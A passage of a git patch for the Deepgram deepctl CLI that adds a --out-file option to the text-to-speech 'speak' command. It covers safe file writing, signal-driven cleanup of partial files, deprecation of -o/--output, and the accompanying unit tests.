+            [_sys.executable, "-c", code],
+            stdout=subprocess.PIPE,
+            stderr=subprocess.PIPE,
+            env={**__import__("os").environ, "DEEPCTL_TELEMETRY_DISABLED": "1"},
+        )
+        p.stdout.close()  # the reader is gone before the result is written
+        err = p.stderr.read().decode()
+        assert p.wait(60) == 0, err
+        assert "RC=0" in err
+        assert "Traceback" not in err and "Exception ignored" not in err
+
+    def test_a_coded_error_is_not_reported_twice(self, silenced, capsys):
+        cmd = SpeakCommand()
+        coded = SpeakCodedError(error="x", code="output_unwritable", hint="h")
+        with patch.object(
+            speak.BaseCommand, "output_result", side_effect=OSError(errno.EIO, "I/O")
+        ):
+            cmd.output_result(coded, Mock(spec=Config))
+        silenced.assert_called_once()
+        assert capsys.readouterr().err == ""
+
+
+class TestCloseIsBounded:
+    def test_a_hanging_close_is_abandoned_after_the_timeout(self):
+        import threading
+        import time
+
+        release = threading.Event()
+
+        class Hangs:
+            def close(self):
+                release.wait(5)
+
+        t0 = time.monotonic()
+        speak._close(Hangs(), timeout=0.2)
+        assert time.monotonic() - t0 < 3.0  # the close itself hangs 5 s
+        release.set()
+
+    def test_several_closes_share_one_timeout(self):
+        """Closing the stream and the response behind it waits once, not
+        once per close."""
+        import threading
+        import time
+
+        release = threading.Event()
+        closed: list[str] = []
+
+        class Hangs:
+            def __init__(self, name):
+                self.name = name
+
+            def close(self):
+                closed.append(self.name)
+                release.wait(10)
+
+        # One 2 s wait; one per close would be 4 s.
+        t0 = time.monotonic()
+        speak._close(Hangs("a"), Hangs("b"), timeout=2.0)
+        assert time.monotonic() - t0 < 3.5
+        assert closed == ["a"]  # in order; b waits behind the stalled a
+        release.set()
+
+    def test_close_errors_are_quiet(self):
+        class Fails:
+            def close(self):
+                raise RuntimeError("boom")
+
+        speak._close(Fails())

From 361bf3e642ded86a945ec42543fe4fe491df1c02 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:43:40 -0400
Subject: [PATCH 19/88] feat(speak): add --out-file and deprecate -o/--output
 for the audio file

--out-file FILE writes the audio to a file without ever replacing one by
accident. Before the request, the target is checked with lstat: an
existing file or symlink is refused (E-OUT-FILE-EXISTS) unless --force
is given, and a directory, a block device, a socket, stderr itself, a
--force over a /dev/fd entry, or a missing or unwritable parent is
output_unwritable, so nothing is sent or billed.

A character device or FIFO is written as it is, with no --force. It is
opened before the request without blocking, so a FIFO with no reader is
refused rather than waited on, and the opened file must be the one that
was checked: a path swapped for a regular file in the meantime is never
written.

A new file is opened when the first chunk arrives, with O_EXCL as the
race guard, so a failed request, a cut stream or an empty one leaves no
file; a partial file is removed on any later error, and a failed write
is output_unwritable with the envelope on stdout. --force writes a 0600
temp file in the same directory and replaces the target at the end,
keeping an existing file's permission bits (never setuid, setgid or
sticky), so a symlink is replaced rather than written through. Flux
still buffers its WAV so the header carries the exact length.

During the request and stream, SIGTERM and SIGHUP remove the partial or
temp file (an old file is kept) and then end the process by the signal;
Ctrl-C does the same cleanup and cancels as before. If the unwind
stalls, as in a WebSocket close the server doesn't answer, the signal is
delivered again after 4 s and ends the run. A signal that was ignored
when dg started (nohup, a background job, trap '') stays ignored and the
file is completed. Signals that arrive while the file is created,
committed or removed are held until that step is done; the most severe
of them is then delivered. On Windows, dg never calls os.kill on its own
process.

When --out-file is stdout itself (/dev/stdout), the audio is the only
thing written there (fd 1 is checked again, not reopened) and the
summary goes to stderr; an explicit -o json
or -o yaml is refused before the request (E-STDOUT-BYTES).

-o/--output FILE keeps working with one DEPRECATED line per process,
printed even under -q, and now replaces the file through a temp file, so
a failed run leaves the old file intact. A bare format value (-o json)
is refused with a runnable next_step, and -o together with --out-file is
refused. Help, examples and the legacy hints now name --out-file.

Changes to -o FILE for the changelog: a symlink at FILE is replaced, not
written through; the directory holding FILE must be writable; and FILE
becomes a new file with the same permission bits (setuid, setgid and
sticky are dropped), so hard links to it keep the old bytes.
---
 .../src/deepctl_cmd_speak/command.py          | 1216 +++++++++++-----
 .../src/deepctl_cmd_speak/messages.py         |   55 +
 .../src/deepctl_cmd_speak/sinks.py            |  538 ++++++++
 .../tests/unit/test_speak_command.py          |   24 +-
 .../tests/unit/test_speak_imports.py          |    1 +
 .../tests/unit/test_speak_output.py           | 1227 +++++++++++++++++
 .../src/deepctl_core/base_group_command.py    |    1 +
 .../src/deepctl_core/plugin_manager.py        |    2 +
 .../deepctl-core/src/deepctl_core/signals.py  |  207 +++
 .../tests/unit/test_base_group.py             |   17 +
 .../tests/unit/test_plugin_manager.py         |   22 +
 .../deepctl-core/tests/unit/test_signals.py   |  255 ++++
 src/deepctl/_manifest.d/speak.json            |   48 +-
 13 files changed, 3298 insertions(+), 315 deletions(-)
 create mode 100644 packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
 create mode 100644 packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
 create mode 100644 packages/deepctl-core/src/deepctl_core/signals.py
 create mode 100644 packages/deepctl-core/tests/unit/test_signals.py

diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
index 2ca0abf3..29005ff2 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
@@ -1,10 +1,18 @@
-"""Speak (text-to-speech) command for deepctl."""
+"""Speak (text-to-speech) command for deepctl.
+
+Signal handling (SIGINT/SIGTERM/SIGHUP during a request) is written for
+the dg process; running this command in-process inside another program
+isn't supported for signal semantics.
+"""
 
 from __future__ import annotations
 
 import io
 import os
+import secrets
+import shlex
 import shutil
+import signal
 import struct
 import subprocess
 import sys
@@ -12,9 +20,12 @@
 import threading
 import time
 import wave
-from contextlib import contextmanager, nullcontext, suppress
+from contextlib import contextmanager, suppress
+from dataclasses import dataclass
+from datetime import datetime, timezone
 from pathlib import Path
 from typing import IO, TYPE_CHECKING, Any
+from urllib.parse import urlsplit
 
 import click
 from deepctl_core import (
@@ -28,20 +39,27 @@
 )
 from deepctl_core.output import (
     _agentic,
+    format_source,
     is_ai_agent,
     print_error,
     print_hint,
     print_warning,
+    stderr_console,
 )
+from deepctl_core.signals import coalescing as _coalescing
+from deepctl_core.signals import defer_in_importlib as _defer_in_importlib
+from deepctl_core.signals import die_by_signal as _die_by_signal
+from deepctl_core.signals import send_to_main as _send_to_main
 from rich.console import Console
 from rich.markup import escape
 from rich.table import Table
 
 from . import messages as msg
+from . import sinks
 from .models import SpeakCodedError, SpeakResult, SpeakVoicesResult, VoiceInfo
 
 if TYPE_CHECKING:
-    from collections.abc import Iterator
+    from collections.abc import Callable, Iterator
 
 console = get_status_console()
 # Tables and other stdout-bound rendering (only used when no audio goes to
@@ -157,9 +175,9 @@ def _check_playable(
     )
     if raw:
         return (
-            f"--play cannot play raw {eff_encoding} audio: it has no container "
-            "for the player to detect. Use the default linear16 audio, add "
-            "--container wav (Aura), or save it with -o."
+            f"--play can't play raw {eff_encoding} audio because the player "
+            "can't tell its format. Use linear16 (the default), add "
+            "--container wav (Aura only), or save it with --out-file FILE."
         )
 
     unplayable = _UNPLAYABLE_BY_PLAYER.get(player, ())
@@ -170,9 +188,9 @@ def _check_playable(
             if e not in unplayable
         )
         return (
-            f"'{player}' cannot decode {eff_encoding}; it plays {playable}. "
-            "Pick one of those with --encoding, install ffmpeg (ffplay) to play "
-            f"{eff_encoding}, or save it with -o."
+            f"'{player}' can't decode {eff_encoding}; it plays {playable}. "
+            "Pick one of those with --encoding, install ffmpeg (for ffplay) to "
+            f"play {eff_encoding}, or save it with --out-file FILE."
         )
     return None
 
@@ -336,6 +354,311 @@ class _NoAudio(Exception):
     """The stream ended without a single audio byte."""
 
 
+# Raised by an AudioFile; they pass through the "request failed" handlers.
+_SINK_ERRORS = (sinks.Exists, sinks.WriteFailed, sinks.ReaderGone)
+
+# Values of `speak -o` that are output formats, not file names.
+_FORMAT_WORDS = ("json", "yaml", "text", "table", "csv")
+
+# Root -o values: the formats a corrected command line can actually use.
+_ROOT_FORMATS = ("json", "yaml", "table", "csv")
+
+# Root options that take a value, used when no Click context is available.
+_ROOT_VALUE_OPTS = frozenset(
+    {"--config", "-c", "--profile", "-p", "--base-url", "--api-key", "--output", "-o"}
+)
+
+_deprecation_shown = False
+
+
+def _argv() -> list[str]:
+    """The user's arguments after the program name (a seam for tests)."""
+    return list(sys.argv[1:])
+
+
+def _root_value_opts() -> frozenset[str]:
+    """Root options that take a value, from the running root command."""
+    ctx = click.get_current_context(silent=True)
+    if ctx is None:
+        return _ROOT_VALUE_OPTS
+    opts: set[str] = set()
+    for param in ctx.find_root().command.params:
+        if isinstance(param, click.Option) and (param.is_flag or param.count):
+            continue
+        opts.update(param.opts)
+        opts.update(param.secondary_opts)
+    return frozenset(opts)
+
+
+def _split_argv(argv: list[str], command: str) -> tuple[list[str], list[str]] | None:
+    """Split argv into (root options, command arguments), or ``None``."""
+    value_opts = _root_value_opts()
+    i = 0
+    while i < len(argv):
+        token = argv[i]
+        if token == command:
+            return argv[:i], argv[i + 1 :]
+        if token == "--" or not token.startswith("-"):
+            return None
+        if token in value_opts:
+            i += 2
+            continue
+        if not token.startswith("--"):
+            # A cluster such as -qo: a value letter takes the rest of the
+            # token, or the next one when it is last.
+            for j, letter in enumerate(token[1:]):
+                if f"-{letter}" in value_opts:
+                    if j == len(token) - 2:
+                        i += 1
+                    break
+        i += 1
+    return None
+
+
+def _drop_output(args: list[str]) -> list[str]:
+    """``args`` without -o/--output and its value."""
+    kept: list[str] = []
+    i = 0
+    while i < len(args):
+        token = args[i]
+        if token == "--":
+            kept.extend(args[i:])
+            break
+        if token in ("-o", "--output"):
+            i += 2
+            continue
+        if token.startswith("--output=") or (
+            token.startswith("-o") and not token.startswith("--")
+        ):
+            i += 1
+            continue
+        kept.append(token)
+        i += 1
+    return kept
+
+
+def _secret_bearing(tokens: list[str]) -> bool:
+    """True when argv holds a key or a URL with userinfo or a query."""
+    for token in tokens:
+        if token in ("--api-key", "-k") or token.startswith("--api-key="):
+            return True
+        if token.startswith("-k") and not token.startswith("--"):
+            return True
+        if "://" in token:
+            try:
+                parts = urlsplit(token)
+            except ValueError:
+                return True
+            if parts.username or parts.password or parts.query:
+                return True
+    return False
+
+
+def _next_step(tokens: list[str]) -> str | None:
+    """A command line runnable verbatim, or ``None``."""
+    if _secret_bearing(tokens):
+        return None
+    for token in tokens:
+        if token.startswith("=") or (
+            token.startswith("<") and token.endswith(">") and token[1:-1].isupper()
+        ):
+            return None
+    line = shlex.join(tokens)
+    if os.name == "nt" and line != " ".join(tokens):
+        return None
+    if shlex.join(shlex.split(line)) != line or tokens[:1] == ["sudo"]:
+        return None
+    return line
+
+
+def _proposed_out_file(
+    *, is_flux: bool, encoding: str | None, container: str | None
+) -> str:
+    """A new file name in the cwd for next_step: never an existing file."""
+    ext = _play_suffix(is_flux=is_flux, encoding=encoding, container=container)
+    while True:
+        stamp = datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")
+        name = f"speech-{stamp}-{secrets.token_hex(2)}{ext}"
+        if not os.path.lexists(name):
+            return name
+
+
+def _deprecate_output() -> None:
+    """The one DEPRECATED line for speak -o/--output FILE, even under -q."""
+    global _deprecation_shown
+    if _deprecation_shown:
+        return
+    _deprecation_shown = True
+    text = msg.D_SPEAK_OUTPUT.format(prog=_prog())
+    if _agentic:
+        stderr_console.print(f"DEPRECATED: {escape(text)}", soft_wrap=True)
+    else:
+        stderr_console.print(
+            f"[yellow]⚠[/yellow] Deprecated: {escape(text)}", soft_wrap=True
+        )
+
+
+class _Terminated(BaseException):
+    """SIGTERM or SIGHUP arrived mid-stream: unwind so a partial file
+    or temp file is removed, then end by that signal."""
+
+    def __init__(self, signum: int) -> None:
+        super().__init__(signum)
+        self.signum = signum
+
+
+#: How long a signalled run may take to unwind before the signal is
+#: delivered again and ends it. This timer is how a Flux run ends after a
+#: signal when the server doesn't answer the closing handshake: the SDK
+#: waits up to 10 s for it in the main thread. A close still waiting in
+#: ``finally`` is cut short the same way. SIGTERM and SIGHUP then end at
+#: once; Ctrl-C runs the usual cancel path, so it ends a little later.
+#: Both stay well inside the 2.6 s a signalled run may take to exit.
+_SIGNAL_GRACE_S = 1.5
+
+
+def _end_by_signal(signum: int) -> None:
+    """End the process by ``signum`` (POSIX); on Windows, exit 128+N."""
+    if os.name == "nt":
+        raise SystemExit(128 + signum)
+    _die_by_signal(signum)
+
+
+@contextmanager
+def _terminate_cleanly(cleanup: Callable[[], None]) -> Iterator[None]:
+    """For the duration of a request and stream:
+
+    - SIGTERM and SIGHUP raise :class:`_Terminated` in the main thread
+      instead of killing the process before ``cleanup`` can run;
+    - SIGINT raises ``KeyboardInterrupt`` as before.
+
+    Unwinding can stall in a WebSocket closing handshake the server doesn't
+    answer. So the first signal also arms a timer: if the run is still here
+    after ``_SIGNAL_GRACE_S``, the signal is delivered again, and a second
+    signal runs ``cleanup`` and ends the run: SIGINT by ``KeyboardInterrupt``
+    again (the usual cancel message, exit 2, exit handlers run; a hard exit
+    follows only if that unwind stalls too), SIGTERM and SIGHUP by the signal
+    itself. A double Ctrl-C after the guard has exited is the default
+    handler's: exit by SIGINT (130), as before.
+
+    Signals that arrive during a file critical section are deferred (see
+    ``sinks.critical_section``); the most severe is delivered after it.
+
+    A signal is left exactly as it was when its handler isn't ours to
+    replace:
+
+    - ``SIG_IGN`` (nohup ignores SIGHUP, a background job in a script starts
+      with SIGINT ignored, ``trap '' TERM``): the run keeps going, as 0.4.0
+      did, and the file is completed;
+    - a handler not installed from Python (``signal.getsignal`` returns
+      ``None``): ``signal.signal`` can't put it back afterwards, so it is
+      not replaced at all.
+
+    On exit the guard is closed first (its handler then only records a
+    signal, and the timer sends nothing more), the signals are blocked where
+    ``pthread_sigmask`` exists, the previous handlers are restored and the
+    timers cancelled, the mask is restored, and a signal recorded meanwhile
+    is raised again through the restored handler. The guard is closed before
+    the mask call because that call itself runs pending handlers.
+    """
+    if threading.current_thread() is not threading.main_thread():
+        yield
+        return
+    first: list[int] = []
+    timers: list[threading.Timer] = []
+    closed: list[bool] = []
+    late: list[int] = []
+    sent: list[int] = []  # re-deliveries the timer made
+    lock = threading.Lock()
+
+    def redeliver(signum: int) -> None:
+        # Under the lock, so nothing is sent once the guard is closing.
+        with lock:
+            if closed:
+                return
+            sent.append(signum)
+            _send_to_main(signum)
+
+    def arm(delay: float, action: Callable[..., None], *args: Any) -> None:
+        timer = threading.Timer(delay, action, args)
+        timer.daemon = True
+        timer.start()
+        timers.append(timer)
+
+    @_coalescing  # a signal while this runs is coalesced (core, as for main)
+    def handler(signum: int, _frame: Any) -> None:
+        if signum in sent:
+            sent.remove(signum)
+            if closed:
+                return  # our own re-delivery, arriving late: drop it
+        elif closed:
+            late.append(signum)
+            return
+        if _defer_in_importlib(signum, _frame):
+            return  # raising inside importlib could leave its lock held
+        if sinks.defer_signal(signum):
+            return  # creating, committing or removing the file
+        if first:
+            # Second signal, or the timer: stop waiting for the stream.
+            cleanup()
+            decisive = sinks.most_severe([first[0], signum]) or signum
+            if decisive == signal.SIGINT:
+                # Unwind again from wherever the stall is; if that stalls
+                # too, end without waiting any longer.
+                arm(_SIGNAL_GRACE_S, os._exit, 2)
+                raise KeyboardInterrupt
+            _end_by_signal(decisive)
+        first.append(signum)
+        arm(_SIGNAL_GRACE_S, redeliver, signum)
+        if signum == signal.SIGINT:
+            raise KeyboardInterrupt
+        raise _Terminated(signum)
+
+    handler._deepctl_defers = True  # type: ignore[attr-defined]
+
+    previous: dict[int, Any] = {}
+    for name in ("SIGINT", "SIGTERM", "SIGHUP"):
+        sig = getattr(signal, name, None)
+        if sig is None:
+            continue
+        current = signal.getsignal(sig)
+        if current is signal.SIG_IGN or current is None:
+            continue
+        try:
+            signal.signal(sig, handler)
+        except (OSError, ValueError):
+            continue
+        previous[sig] = current
+    try:
+        yield
+    finally:
+        with lock:
+            closed.append(True)
+        blocked = None
+        if hasattr(signal, "pthread_sigmask"):
+            with suppress(OSError, ValueError):
+                blocked = signal.pthread_sigmask(signal.SIG_BLOCK, set(previous))
+        try:
+            sinks.restore_handlers(previous)
+        finally:
+            for timer in timers:
+                timer.cancel()
+            if blocked is not None:
+                signal.pthread_sigmask(signal.SIG_SETMASK, blocked)
+            if late:
+                again = sinks.most_severe(late)
+                late.clear()
+                if again is not None:
+                    signal.raise_signal(again)
+
+
+@dataclass
+class _Plan:
+    """What the pre-request checks decided."""
+
+    target: sinks.Target | None = None
+
+
 def _fail(message: str) -> BaseResult:
     """An error result whose message the user actually sees.
 
@@ -472,6 +795,25 @@ def timing(self) -> str:
         return f"first audio {fa}, {time.monotonic() - self._start:.1f}s total"
 
 
+def _speak_result(
+    audio_file: sinks.AudioFile | None,
+    *,
+    model: str,
+    bytes_written: int,
+    played: bool = False,
+) -> SpeakResult:
+    """The 0.4.0 ``SpeakResult`` (unchanged keys, including ``played``)."""
+    path = audio_file.path if audio_file is not None else ""
+    return SpeakResult(
+        status="success",
+        message=f"Audio saved to {path}" if path else f"Played {bytes_written:,} bytes",
+        output_path=path,
+        model=model,
+        bytes_written=bytes_written,
+        played=played,
+    )
+
+
 class SpeakCommand(BaseCommand):
     """Command for generating speech from text using Deepgram TTS."""
 
@@ -491,26 +833,27 @@ class SpeakCommand(BaseCommand):
         'dg speak "Hello from Deepgram" --play',
         "dg speak --list-voices",
         'dg speak "Hello world"',
-        'dg speak "Hello world" -o hello.wav',
-        'dg speak "Hello world" -o hello.wav --play',
-        "dg speak --file message.txt -o output.wav",
+        'dg speak "Hello world" --out-file hello.wav',
+        'dg speak "Hello world" --out-file hello.wav --play',
+        "dg speak --file message.txt --out-file output.wav",
         'dg speak "Hello" | ffplay -loglevel error -nodisp -autoexit -',
         # Flux TTS streaming controls: --speed (0.85-1.15) and beta
         # --expressivity (-2..2, default 0).
-        'dg speak "A little slower, please" --speed 0.9 -o slow.wav',
-        'dg speak "So exciting!" --expressivity 2 -o lively.wav  # beta; default: 0',
+        'dg speak "A little slower, please" --speed 0.9 --out-file slow.wav',
+        'dg speak "So exciting!" --expressivity 2 --out-file lively.wav  # beta; default: 0',
         # Aura (Speak v1, batch REST) — opt in with -m aura-*; needed for
         # containerized formats like mp3.
-        'dg speak "Hello" -m aura-2-asteria-en -o hello.mp3',
-        'dg speak "Hello" -m aura-2-luna-en -o hello.wav --encoding linear16 --container wav',
-        'echo "Hello" | dg speak -o hello.mp3 -m aura-2-asteria-en',
+        'dg speak "Hello" -m aura-2-asteria-en --out-file hello.mp3',
+        'dg speak "Hello" -m aura-2-luna-en --out-file hello.wav --encoding linear16 --container wav',
+        'echo "Hello" | dg speak --out-file hello.mp3 -m aura-2-asteria-en',
         # Aura-2 Spanish voice (run `dg models` for the full list).
-        'dg speak "Hola, mundo" -m aura-2-selena-es -o hola.mp3',
+        'dg speak "Hola, mundo" -m aura-2-selena-es --out-file hola.mp3',
     ]
     agent_help = (
         "Convert text to speech using Deepgram's TTS API. "
         "Text can be provided as an argument, from a file, or piped via stdin. "
-        "Audio is written to a file (--output) or stdout for piping. "
+        "Audio is written to a file (--out-file; add --force to replace an "
+        "existing file) or stdout for piping. -o/--output FILE is deprecated. "
         "By default (flux-* models, e.g. flux-alexis-en) uses Flux TTS / Speak "
         "v2, streaming over WebSocket and emitting raw audio; linear16 output is "
         "wrapped in a WAV container so it is directly playable. Pass an aura-* "
@@ -531,10 +874,30 @@ def get_arguments(self) -> list[dict[str, Any]]:
                 "required": False,
                 "default": None,
             },
+            {
+                "names": ["--out-file"],
+                "help": (
+                    "Save the audio to FILE. An existing file isn't "
+                    "overwritten unless you add --force."
+                ),
+                "type": str,
+                "metavar": "FILE",
+                "is_option": True,
+            },
+            {
+                "names": ["--force"],
+                "help": "With --out-file, overwrite FILE if it already exists.",
+                "is_flag": True,
+                "is_option": True,
+            },
             {
                 "names": ["--output", "-o"],
-                "help": "Output file path (required if stdout is a terminal)",
+                "help": (
+                    "Deprecated: use --out-file. Saves the audio to FILE and "
+                    "overwrites it. In 1.0, -o will set the output format."
+                ),
                 "type": str,
+                "metavar": "FILE",
                 "is_option": True,
             },
             {
@@ -603,7 +966,8 @@ def get_arguments(self) -> list[dict[str, Any]]:
                 "names": ["--play"],
                 "help": (
                     "Play the audio through your system player (ffplay, afplay, "
-                    "paplay, or aplay). Can be combined with -o to save and play."
+                    "paplay, or aplay). Can be combined with --out-file to save "
+                    "and play."
                 ),
                 "is_flag": True,
                 "is_option": True,
@@ -616,6 +980,124 @@ def get_arguments(self) -> list[dict[str, Any]]:
             },
         ]
 
+    # ── Checks before the request ─────────────────────────────────────
+
+    _plan: _Plan | None = None
+
+    def pre_auth_check(self, config: Config, **kwargs: Any) -> Any | None:
+        """Refusals that need no request: they run
+        before authentication, so nothing is sent or billed."""
+        self._plan = None
+        planned = self._preflight(kwargs)
+        if isinstance(planned, SpeakCodedError):
+            return planned
+        self._plan = planned
+        return None
+
+    def _preflight(self, kwargs: dict[str, Any]) -> _Plan | SpeakCodedError:
+        if kwargs.get("list_voices"):
+            return _Plan()
+        out_file = kwargs.get("out_file") or None
+        legacy = kwargs.get("output") or None
+        prog = _prog()
+
+        if out_file and legacy:
+            return _coded(
+                msg.E_SPEAK_OUT_CONFLICT,
+                code=msg.CODE_INVALID_ARGUMENT,
+                hint_human=msg.H_SPEAK_OUT_CONFLICT,
+                hint_agent=msg.H_SPEAK_OUT_CONFLICT,
+                next_step=_next_step([prog, self.name, "--help"]),
+            )
+        if legacy and legacy.lower() == "text":
+            # Not a root format either: point at --out-file instead.
+            return _coded(
+                msg.E_SPEAK_O_TEXT.format(prog=prog),
+                code=msg.CODE_INVALID_ARGUMENT,
+                hint_human=msg.H_SPEAK_O_TEXT,
+                hint_agent=msg.H_SPEAK_O_TEXT,
+                next_step=self._o_format_next_step(prog, legacy, kwargs),
+            )
+        if legacy and legacy.lower() in _FORMAT_WORDS:
+            return _coded(
+                msg.E_SPEAK_O_FORMAT.format(prog=prog, value=legacy),
+                code=msg.CODE_INVALID_ARGUMENT,
+                hint_human=msg.H_SPEAK_O_FORMAT.format(prog=prog, value=legacy),
+                hint_agent=msg.H_SPEAK_O_FORMAT.format(prog=prog, value=legacy),
+                next_step=self._o_format_next_step(prog, legacy, kwargs),
+            )
+        if legacy:
+            _deprecate_output()
+
+        path = out_file or legacy
+        if not path:
+            return _Plan()
+        planned = sinks.plan_target(
+            path, overwrite=bool(legacy) or bool(kwargs.get("force"))
+        )
+        if isinstance(planned, sinks.Refusal):
+            if planned.reason == "exists":
+                return _coded(
+                    msg.E_OUT_FILE_EXISTS.format(out_file=path, prog=prog),
+                    code=msg.CODE_INVALID_ARGUMENT,
+                    hint_human=msg.H_OUT_FILE_EXISTS,
+                    hint_agent=msg.H_OUT_FILE_EXISTS,
+                )
+            assert planned.error is not None
+            return _output_unwritable(planned.error, path=path)
+        if (
+            planned.kind == "stdout"
+            and get_output_format() in ("json", "yaml")
+            and format_source() == "explicit"
+        ):
+            # The audio is stdout's payload; there's no room for JSON.
+            fmt = get_output_format().upper()
+            return _coded(
+                msg.E_STDOUT_BYTES.format(
+                    prog=prog, command_path=self.name, format=fmt
+                ),
+                code=msg.CODE_INVALID_ARGUMENT,
+                hint_human=msg.H_STDOUT_BYTES.format(format=fmt),
+                hint_agent=msg.H_STDOUT_BYTES.format(format=fmt),
+                next_step=_next_step([prog, self.name, "--help"]),
+            )
+        return _Plan(target=planned)
+
+    def _o_format_next_step(
+        self, prog: str, value: str, kwargs: dict[str, Any]
+    ) -> str | None:
+        """``{prog} {root_options} -o {value} speak {speak_args} --out-file
+        {out_file}``, or ``None`` when it can't be built safely. For
+        ``-o text``, which no command takes, the ``-o`` is dropped."""
+        text = value.lower() == "text"
+        if not text and value.lower() not in _ROOT_FORMATS:
+            return None
+        ctx = click.get_current_context(silent=True)
+        name = (ctx.info_name if ctx is not None else None) or self.name
+        split = _split_argv(_argv(), name)
+        if split is None:
+            return None
+        root, args = split
+        model = kwargs.get("model") or _DEFAULT_MODEL
+        out_file = _proposed_out_file(
+            is_flux=model.lower().startswith("flux-"),
+            encoding=kwargs.get("encoding"),
+            container=kwargs.get("container"),
+        )
+        return _next_step(
+            [
+                prog,
+                *_drop_output(root),
+                *(() if text else ("-o", value)),
+                name,
+                *_drop_output(args),
+                "--out-file",
+                out_file,
+            ]
+        )
+
+    # ── Run ───────────────────────────────────────────────────────────
+
     def handle(
         self,
         config: Config,
@@ -623,8 +1105,12 @@ def handle(
         client: DeepgramClient,
         **kwargs: Any,
     ) -> BaseResult | SpeakCodedError | None:
+        planned = self._plan if self._plan is not None else self._preflight(kwargs)
+        self._plan = None
+        if isinstance(planned, SpeakCodedError):
+            return planned
+
         text = kwargs.get("text")
-        output_path = kwargs.get("output")
         model = kwargs.get("model") or _DEFAULT_MODEL
         encoding = kwargs.get("encoding")
         container = kwargs.get("container")
@@ -634,6 +1120,7 @@ def handle(
         file_path = kwargs.get("file")
         play = kwargs.get("play", False)
         list_voices = kwargs.get("list_voices", False)
+        output_path = planned.target.path if planned.target else None
 
         # --list-voices: discover voices and exit before any TTS generation.
         if list_voices:
@@ -661,17 +1148,15 @@ def handle(
             player = _find_audio_player()
             if player is None:
                 return _fail(
-                    "No audio player found — install ffmpeg, or use -o to save a file."
+                    "No audio player found. Install ffmpeg, or save the audio "
+                    "with --out-file FILE."
                 )
 
         # If stdout is a TTY and there's nowhere for the audio to go, require an
         # explicit destination. --play satisfies that requirement.
         stdout_is_tty = sys.stdout.isatty()
         if not output_path and not play and stdout_is_tty:
-            return _fail(
-                "No output specified. Use -o/--output to save to a file, "
-                "--play to hear it, or pipe stdout."
-            )
+            return _fail(msg.NO_OUTPUT_TTY)
 
         # Only the documented flux-* namespace uses speak.v2. Aura and unknown
         # model names pass through to the REST API so the service can resolve them.
@@ -711,234 +1196,362 @@ def handle(
             # Playing sends the audio to the player, not to stdout, so a
             # redirect or pipe would otherwise collect nothing and give no
             # hint why.
-            print_warning(
-                "--play sends the audio to your player, so stdout stays empty. "
-                "Add -o to save a file too.",
-                stderr=True,
-                ignore_quiet=True,
+            print_warning(msg.PLAY_STDOUT_EMPTY, stderr=True, ignore_quiet=True)
+
+        audio_file = sinks.AudioFile(planned.target) if planned.target else None
+        if audio_file is not None and audio_file.is_stdout:
+            # stdout carries audio, so a failure is reported on stderr
+            # only, never as JSON after the audio.
+            self.stdout_is_protocol = True
+        try:
+            with _terminate_cleanly(
+                audio_file.abort if audio_file is not None else lambda: None
+            ):
+                try:
+                    result = self._speak(
+                        client,
+                        is_flux=is_flux,
+                        text=text,
+                        model=model,
+                        encoding=encoding,
+                        container=container,
+                        sample_rate=sample_rate,
+                        speed=speed,
+                        expressivity=expressivity,
+                        player=player,
+                        audio_file=audio_file,
+                    )
+                except BaseException:
+                    # Clean up while the guard is still installed, so a
+                    # second signal can't cut the removal short.
+                    if audio_file is not None:
+                        audio_file.abort()
+                    raise
+        except _Terminated as exc:
+            # The partial file or temp file is gone (an old file is kept);
+            # end by the signal itself.
+            _end_by_signal(exc.signum)
+            raise
+        except sinks.Exists:
+            # O_EXCL lost a race with another writer: nothing of ours exists.
+            return _coded(
+                msg.E_OUT_FILE_EXISTS.format(out_file=output_path, prog=_prog()),
+                code=msg.CODE_INVALID_ARGUMENT,
+                hint_human=msg.H_OUT_FILE_EXISTS,
+                hint_agent=msg.H_OUT_FILE_EXISTS,
             )
+        except sinks.WriteFailed as exc:
+            if audio_file is not None:
+                audio_file.abort()
+            if exc.stdout:
+                return _stdout_unwritable(exc.error)
+            assert audio_file is not None
+            return _output_unwritable(exc.error, path=audio_file.path)
+        except sinks.ReaderGone:
+            # Whoever read the pipe went away: stop quietly, like stdout.
+            if audio_file is not None and audio_file.is_stdout:
+                _silence_stdout()
+            return None
+        finally:
+            if audio_file is not None:
+                audio_file.abort()  # a no-op once the file was committed
+
+        if (
+            audio_file is not None
+            and audio_file.is_stdout
+            and isinstance(result, SpeakResult)
+            and result.status == "success"
+        ):
+            # The audio was stdout's payload, so the summary goes to
+            # stderr and no document follows it.
+            n = audio_file.bytes_written
+            if _agentic:
+                console.print(f"OK: Wrote {n:,} bytes to stdout", markup=False)
+            else:
+                console.print(f"[green]✓ Wrote {n:,} bytes to stdout[/green]")
+            return None
+        return result
 
+    def _speak(
+        self,
+        client: DeepgramClient,
+        *,
+        is_flux: bool,
+        text: str,
+        model: str,
+        encoding: str | None,
+        container: str | None,
+        sample_rate: float | None,
+        speed: float | None,
+        expressivity: int | None,
+        player: str | None,
+        audio_file: sinks.AudioFile | None,
+    ) -> BaseResult | SpeakCodedError | None:
         if is_flux:
-            # WebSocket streaming path. Streaming output is raw audio, so
-            # default to linear16 @ 24kHz and wrap it in WAV for playback.
-            # These paths raise (rather than returning an error result) so a
-            # failure exits non-zero and is visible in every output format —
-            # a returned error is only printed in structured output and still
-            # exits 0.
-            eff_encoding = encoding or "linear16"
-            if eff_encoding not in ("linear16", "mulaw", "alaw"):
-                raise click.ClickException(
-                    f"Encoding '{eff_encoding}' is not supported for Flux "
-                    "(Speak v2) streaming, which emits raw audio. Use "
-                    "linear16 (default), mulaw, or alaw."
-                )
-            eff_sample_rate = sample_rate or 24000.0
-
-            # A live spinner + byte counter + time-to-first-audio on stderr, so
-            # the stream is visibly arriving rather than a single static line.
-            prog = _StreamProgress(model)
-            stream = prog.track(
-                client.speak_text_stream(
-                    text=text,
-                    model=model,
-                    encoding=eff_encoding,
-                    sample_rate=eff_sample_rate,
-                    speed=speed,
-                    expressivity=expressivity,
-                )
+            return self._speak_flux(
+                client,
+                text=text,
+                model=model,
